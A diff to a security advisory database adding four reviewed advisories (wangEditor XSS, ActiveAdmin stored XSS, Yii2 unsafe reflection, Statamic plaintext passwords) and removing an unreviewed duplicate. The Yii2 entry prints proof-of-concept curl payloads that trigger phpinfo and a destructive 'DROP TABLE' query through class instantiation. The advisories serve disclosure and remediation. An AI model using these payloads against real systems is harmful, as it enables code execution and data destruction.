diff --git a/advisories/github-reviewed/2024/05/GHSA-9hfw-cvf4-5x25/GHSA-9hfw-cvf4-5x25.json b/advisories/github-reviewed/2024/05/GHSA-9hfw-cvf4-5x25/GHSA-9hfw-cvf4-5x25.json new file mode 100644 index 00000000000..fdc9c9a347f --- /dev/null +++ b/advisories/github-reviewed/2024/05/GHSA-9hfw-cvf4-5x25/GHSA-9hfw-cvf4-5x25.json @@ -0,0 +1,73 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-9hfw-cvf4-5x25", + "modified": "2024-06-02T22:32:11Z", + "published": "2024-05-31T18:31:14Z", + "aliases": [ + "CVE-2022-25037" + ], + "summary": "wanEditor was discovered to contain a cross-site scripting (XSS) vulnerability via the image upload function", + "details": "There is a cross-site scripting (XSS) issue in wanEditor via the image upload function in version 4.7.11. This issue has been fixed in version 4.7.12.", + "severity": [ + + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@wangeditor/editor" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.7.12" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 4.7.11" + } + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25037" + }, + { + "type": "WEB", + "url": "https://github.com/wangeditor-team/wangEditor/issues/3870" + }, + { + "type": "WEB", + "url": "https://github.com/wangeditor-team/wangEditor/issues/3872" + }, + { + "type": "WEB", + "url": "https://github.com/wangeditor-team/wangEditor/commit/6257a2e166346913c34ac5cfb31b6a46e9544c5a" + }, + { + "type": "WEB", + "url": "https://gist.github.com/Mdxjj/5cf0a31e8abf24ed688ceb5b3543516d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/wangeditor-team/wangEditor" + } + ], + "database_specific": { + "cwe_ids": [ + + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-06-02T22:32:11Z", + "nvd_published_at": "2024-05-31T16:15:09Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/06/GHSA-9mg6-x45v-hcfm/GHSA-9mg6-x45v-hcfm.json b/advisories/github-reviewed/2024/06/GHSA-9mg6-x45v-hcfm/GHSA-9mg6-x45v-hcfm.json new file mode 100644 index 00000000000..d6a706e3a6f --- /dev/null +++ b/advisories/github-reviewed/2024/06/GHSA-9mg6-x45v-hcfm/GHSA-9mg6-x45v-hcfm.json @@ -0,0 +1,80 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-9mg6-x45v-hcfm", + "modified": "2024-06-02T22:32:24Z", + "published": "2024-06-02T22:32:24Z", + "aliases": [ + "CVE-2024-37031" + ], + "summary": "activeadmin vulnerable to stored persistent cross-site scripting (XSS) in dynamic form legends", + "details": "### Impact\n\nUsers settings their active admin form legends dynamically may be vulnerable to stored XSS, as long as its value can be injected directly by a malicious user.\n\nFor example:\n\n* A public web application allows users to create entities with arbitrary names.\n* Active Admin is used to administrate these entities through a private backend.\n* The form to edit these entities in the private backend has the following shape (note the dynamic `name` value dependent on an attribute of the `resource`):\n\n```ruby\n form do |f|\n f.inputs name: resource.name do\n f.input :name\n f.input :description\n end\n\n f.actions\n end\n```\n\nThen a malicious user could create an entity with a payload that would get executed in the active admin administrator's browser.\n\nBoth `form` blocks with an implicit or explicit name (i.e., both `form resource.name` or `form name: resource.name` would suffer from the problem), where the value of the name can be arbitrarily set by non admin users.\n\n### Patches\n\nThe problem has been fixed in ActiveAdmin 3.2.2 and ActiveAdmin 4.0.0.beta7.\n\n### Workarounds\n\nUsers can workaround this problem without upgrading by explicitly escaping the form name using an HTML escaping utility. For example:\n\n```ruby\n form do |f|\n f.inputs name: ERB::Util.html_escape(resource.name) do\n f.input :name\n f.input :description\n end\n\n f.actions\n end\n```\nUpgrading is of course recommended though.\n\n### References\nhttps://owasp.org/www-community/attacks/xss/#stored-xss-attacks", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "RubyGems", + "name": "activeadmin" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.2.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "RubyGems", + "name": "activeadmin" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.0.beta1" + }, + { + "fixed": "4.0.0.beta7" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/activeadmin/activeadmin/security/advisories/GHSA-9mg6-x45v-hcfm" + }, + { + "type": "WEB", + "url": "https://github.com/activeadmin/activeadmin/pull/8349" + }, + { + "type": "PACKAGE", + "url": "https://github.com/activeadmin/activeadmin" + } + ], + "database_specific": { + "cwe_ids": [ + + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-06-02T22:32:24Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/06/GHSA-cjcc-p67m-7qxm/GHSA-cjcc-p67m-7qxm.json b/advisories/github-reviewed/2024/06/GHSA-cjcc-p67m-7qxm/GHSA-cjcc-p67m-7qxm.json new file mode 100644 index 00000000000..42b589365aa --- /dev/null +++ b/advisories/github-reviewed/2024/06/GHSA-cjcc-p67m-7qxm/GHSA-cjcc-p67m-7qxm.json @@ -0,0 +1,60 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-cjcc-p67m-7qxm", + "modified": "2024-06-02T22:30:39Z", + "published": "2024-06-02T22:30:39Z", + "aliases": [ + "CVE-2024-4990" + ], + "summary": "Unsafe Reflection in base Component class in yiisoft/yii2", + "details": "Yii2 supports attaching Behaviors to Components by setting properties having the format `'as '`.\n\nInternally this is done using the `__set()` magic method. If the value passed to this method is not an instance of the `Behavior` class, a new object is instantiated using `Yii::createObject($value)`. However, there is no validation check that verifies that `$value` is a valid `Behavior` class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.\n\n### Impact\nWith some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables\n\n### Patches\nNot yet patched.\n\n### Workarounds\nNo Work around available\n\n### References\nReported [Here](https://huntr.com/bounties/4fbdd965-02b6-42e4-b57b-f98f93415b8f?token=3bcfc5266870680af19a26170b8dbf3750e3b593ce192da8eaa6a03f96b99b52c419e15768c56f23991dc50003aa1a9e3cb3f1f9321e18bd506d68a9f937cd5b7ca90fb47967df22c8768c0c48f7206f36b583464af7e44bf93eecc5398a2764b98e02cf8e280397785106db16e4197951554eb9b9c46649f4339e2f413cf6a0197ab2e0) \n\nin case the link is dead, here is the full description\n\n# Description\n\nYii2 supports attaching Behaviors to Components by setting properties having the format `'as '`.\n\nInternally this is done using the `__set()` magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using `Yii::createObject($value)`. However, there is no validation check that verifies that `$value` is a valid Behavior class name or configuration. An attacker that can control the content of the `$value` variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.\n\nDepending on the installed dependencies various kind of attacks are possible.\n\n# Proof of Concept\n\nA PoC application was created using `composer create-project`, as specified in the [getting started](https://www.yiiframework.com/doc/guide/2.0/en/start-installation).\n\nYii JSON parser was enabled in the configuration:\n\n```php\n'parsers' => [ 'application/json' => 'yii\\web\\JsonParser' ]\n\n```\n\nA vulnerable controller was added:\n\n```php\nenableCsrfValidation = false;\n return parent::beforeAction($action);\n }\n\n public function actionVulnerable(): string\n {\n $fields = $this->request->post();\n $myComponent = new Component();\n foreach ($fields as $key => $value) {\n $myComponent->$key = $value;\n }\n return \"\";\n }\n}\n\n```\n\n## Executing phpinfo()\n\nFollowing command stores the content of `phpinfo()` inside info.html:\n\n```bash\ncurl -XPOST -H \"Content-Type: application/json\" -d '{\"as hack\": {\"__class\":\"GuzzleHttp\\\\Psr7\\\\FnStream\", \"__construct()\": [[]], \"_fn_close\": \"phpinfo\"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html\n\n```\n\nIt leverages the fact that `GuzzleHttp\\Psr7\\FnStream` class executes `call_user_func($this->_fn_close)` inside `__destruct()`. This class is a default dependency.\n\n## Executing arbitrary MySQL queries (blind execution)\n\nIf the application is connected to a MySQL database it is possible to exploit the `PDO` class to execute arbitrary SQL queries:\n\n```bash\ncurl -XPOST -H \"Content-Type: application/json\" -d '{\"as hack\": {\"__class\":\"\\\\PDO\", \"__construct()\": [\"mysql:host=127.0.0.1;dbname=test\", \"test\", \"test\", {\"1002\": \"DROP TABLE test\"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable\n\n```\n\nNotice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. \"Table 'test.foo' doesn't exist\"), depending on the app configuration.\n\n# Impact\n\nIt is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).\n\nThe consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.\n\n# Occurrences\n\n[Component.php L191](https://github.com/yiisoft/yii2/blob/2.0.48/framework/base/Component.php#L191)\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "yiisoft/yii2" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.0.50" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 2.0.49" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/yiisoft/yii2/security/advisories/GHSA-cjcc-p67m-7qxm" + }, + { + "type": "PACKAGE", + "url": "https://github.com/yiisoft/yii2" + } + ], + "database_specific": { + "cwe_ids": [ + + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-06-02T22:30:39Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/06/GHSA-qvpj-w7xj-r6w9/GHSA-qvpj-w7xj-r6w9.json b/advisories/github-reviewed/2024/06/GHSA-qvpj-w7xj-r6w9/GHSA-qvpj-w7xj-r6w9.json new file mode 100644 index 00000000000..79213d07234 --- /dev/null +++ b/advisories/github-reviewed/2024/06/GHSA-qvpj-w7xj-r6w9/GHSA-qvpj-w7xj-r6w9.json @@ -0,0 +1,73 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-qvpj-w7xj-r6w9", + "modified": "2024-06-02T22:30:45Z", + "published": "2024-06-02T22:30:45Z", + "aliases": [ + "CVE-2024-36119" + ], + "summary": "Password confirmation stored in plain text via registration form in statamic/cms", + "details": "Users registering via the `user:register_form` tag will have their password confirmation stored in plain text in their user file.\n\n### Impact\nThis only affects sites matching **all** of the following conditions:\n- Running Statamic versions between 5.3.0 and 5.6.1. (This version range represents only one calendar week)\n- Using the `user:register_form` tag.\n- Using file-based user accounts. (Does not affect users stored in a database.)\n- Has users that have registered during that time period. (Existing users are not affected.)\n\nThe password is only visible to users that have access to read user yaml files, typically developers of the application itself.\n\n### Patches\nThe issue has been patched in 5.6.2, however any users registered during that time period and using the affected version range will still have the the `password_confirmation` value in their yaml files.\n\nWe recommend that affected users have their password reset. The following query can be entered into `php artisan tinker` and will output a list of affected emails:\n\n```php\nStatamic\\Facades\\User::query()->whereNotNull('password_confirmation')->get()->map->email\n```\n\nThe following can be entered into `tinker` and will clear both password_confirmation as well as their existing password. They will be required to reset their password before their next login attempt.\n\n```php\nStatamic\\Facades\\User::query()\n ->whereNotNull('password_confirmation')->get()\n ->each(fn ($user) => $user->remove('password_confirmation')->passwordHash(null)->save());\n```\n\n### References\nIf you are committing user files to a public git repo, you may consider clearing the sensitive data from the git history. You can use the following links for details.\n- https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository\n- https://dev.to/balogh08/cleaning-your-git-history-safely-removing-sensitive-data-10i5", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "statamic/cms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "5.3.0" + }, + { + "fixed": "5.6.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/statamic/cms/security/advisories/GHSA-qvpj-w7xj-r6w9" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36119" + }, + { + "type": "WEB", + "url": "https://github.com/statamic/cms/commit/0b804306c96c99b81755d5bd02df87ddf392853e" + }, + { + "type": "WEB", + "url": "https://dev.to/balogh08/cleaning-your-git-history-safely-removing-sensitive-data-10i5" + }, + { + "type": "WEB", + "url": "https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository" + }, + { + "type": "PACKAGE", + "url": "https://github.com/statamic/cms" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-312" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2024-06-02T22:30:45Z", + "nvd_published_at": "2024-05-30T21:15:09Z" + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2024/05/GHSA-9hfw-cvf4-5x25/GHSA-9hfw-cvf4-5x25.json b/advisories/unreviewed/2024/05/GHSA-9hfw-cvf4-5x25/GHSA-9hfw-cvf4-5x25.json deleted file mode 100644 index 2b46d178171..00000000000 --- a/advisories/unreviewed/2024/05/GHSA-9hfw-cvf4-5x25/GHSA-9hfw-cvf4-5x25.json +++ /dev/null @@ -1,39 +0,0 @@ -{ - "schema_version": "1.4.0", - "id": "GHSA-9hfw-cvf4-5x25", - "modified": "2024-05-31T18:31:14Z", - "published": "2024-05-31T18:31:14Z", - "aliases": [ - "CVE-2022-25037" - ], - "details": "An issue in wanEditor v4.7.11 and fixed in v.4.7.12 and v.5 was discovered to contain a cross-site scripting (XSS) vulnerability via the image upload function.", - "severity": [ - - ], - "affected": [ - - ], - "references": [ - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25037" - }, - { - "type": "WEB", - "url": "https://github.com/wangeditor-team/wangEditor/issues/3870" - }, - { - "type": "WEB", - "url": "https://gist.github.com/Mdxjj/5cf0a31e8abf24ed688ceb5b3543516d" - } - ], - "database_specific": { - "cwe_ids": [ - - ], - "severity": null, - "github_reviewed": false, - "github_reviewed_at": null, - "nvd_published_at": "2024-05-31T16:15:09Z" - } -} \ No newline at end of file